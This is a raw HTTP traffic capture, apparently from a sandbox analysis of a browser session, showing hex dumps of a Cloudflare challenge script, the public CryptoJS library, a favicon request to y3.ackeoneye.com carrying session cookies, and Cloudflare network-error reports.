2025-01-27 14:44:57 UTC	1369	IN	Data Raw: 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e 64 65 66 69 6e 65 Data Ascii: if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="undefine
2025-01-27 14:44:57 UTC	1369	IN	Data Raw: 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d 64 72 28 61 29 3b Data Ascii: eof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=dr(a);
2025-01-27 14:44:57 UTC	1369	IN	Data Raw: 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 6f 6e 63 61 74 28 Data Ascii: -cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".concat(

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:57 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:58 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 27 Jan 2025 14:44:57 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 356970 Expires: Sat, 17 Jan 2026 14:44:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bAahXTNLkEZoKhS51mhcyblOoR20%2FoPYws06749JEibqV2DzYK8CID5TgSonjf55zFmR8Q89QgJNw9yMxfN2Z7ziWlGMPYfTxPEdtU36ir6VrX1x5ozViqT2upOkzhYoMIFyCK2l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 908986165fabc32c-EWR alt-svc: h3=":443"; ma=86400
2025-01-27 14:44:58 UTC	415	IN	Data Raw: 37 62 66 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c Data Ascii: balThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b Data Ascii: this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f Data Ascii: t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 Data Ascii: =this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 Data Ascii: =0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>1
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 Data Ascii: yteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:functi
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 Data Ascii: (64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTU
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 Data Ascii: (t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._ha
2025-01-27 14:44:58 UTC	1369	IN	Data Raw: 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 Data Ascii: (m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50])

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:58 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: y3.ackeoneye.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://y3.ackeoneye.com/lo92/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkRXeWRhL1VkbnhPS2dxL2YwbGhuZEE9PSIsInZhbHVlIjoiYkwvQmR0anI0QjFsRUJ5RkEza0wyRFYyVFhmV0ovT1Z5TzBnUHNYaHpWTXQ1NWNvcU1KWlBJdnVjckVzZEZDcWhsREg0ekVIamxSUHVjbzBWMnVQTmJIQzVHNlVDVmNDMHBwQXhQWmJGeitYay84UVlKcDZMd2U4d29CSGpOUjgiLCJtYWMiOiJjNmUyZTAyZWY1MzZhNWNhODY0YzM5ZDNkMTk1YzIzOGRlNzgwZTRiZjM3ZGJkM2Y0MGM3ZTg2MGQxMTkyNTIxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhJWkIzV3FlWHlmanhkdndvWVpIbHc9PSIsInZhbHVlIjoicm94dEpFWFFjbERHU3hKQS90Wm5zMjArQWE2WVNFYm5FajBKLytlTU5Md3QyemVIVmJub0lZa0tRTzBHWTQxb1I3Z3YxTFJhMGRmODJiNXR5TU02OWhRNTdXaUFZSXBNUnMwZEZxT093Wis5M2ROS1NyZWFwZjNPTXMzSnY2Y0YiLCJtYWMiOiJiZDg0YzJiNWE3NDIwZTA0N2Q4N2NlOTc0ZGZiMTVmODkyMWQ1ZmM4MTk3NWViZDQ4ZjA1MTE2MmYzYjQ1ZWViIiwidGFnIjoiIn0%3D
2025-01-27 14:44:58 UTC	1080	IN	HTTP/1.1 404 Not Found Date: Mon, 27 Jan 2025 14:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=801&min_rtt=793&rtt_var=238&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1148&delivery_rate=4848920&cwnd=252&unsent_bytes=0&cid=57e550caeea798d9&ts=404&x=0" CF-Cache-Status: HIT Age: 2485 Server: cloudflare CF-RAY: 90898617cd2e8ca8-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2357&min_rtt=2314&rtt_var=955&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1894&delivery_rate=1096507&cwnd=164&unsent_bytes=0&cid=c4b22d9dd97ae036&ts=2660&x=0"
2025-01-27 14:44:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:58 UTC	549	OUT	OPTIONS /report/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://y3.ackeoneye.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:59 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 27 Jan 2025 14:44:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:59 UTC	490	OUT	POST /report/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 427 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:59 UTC	427	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 79 33 2e 61 63 6b 65 6f 6e 65 79 65 2e 63 6f 6d 2f 6c 6f 39 32 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 33 2e 32 32 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 Data Ascii: [{"age":0,"body":{"elapsed_time":158,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://y3.ackeoneye.com/lo92/","sampling_fraction":1.0,"server_ip":"104.21.93.228","status_code":404,"type":"http.error"},"type":"network-error","
2025-01-27 14:44:59 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 27 Jan 2025 14:44:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
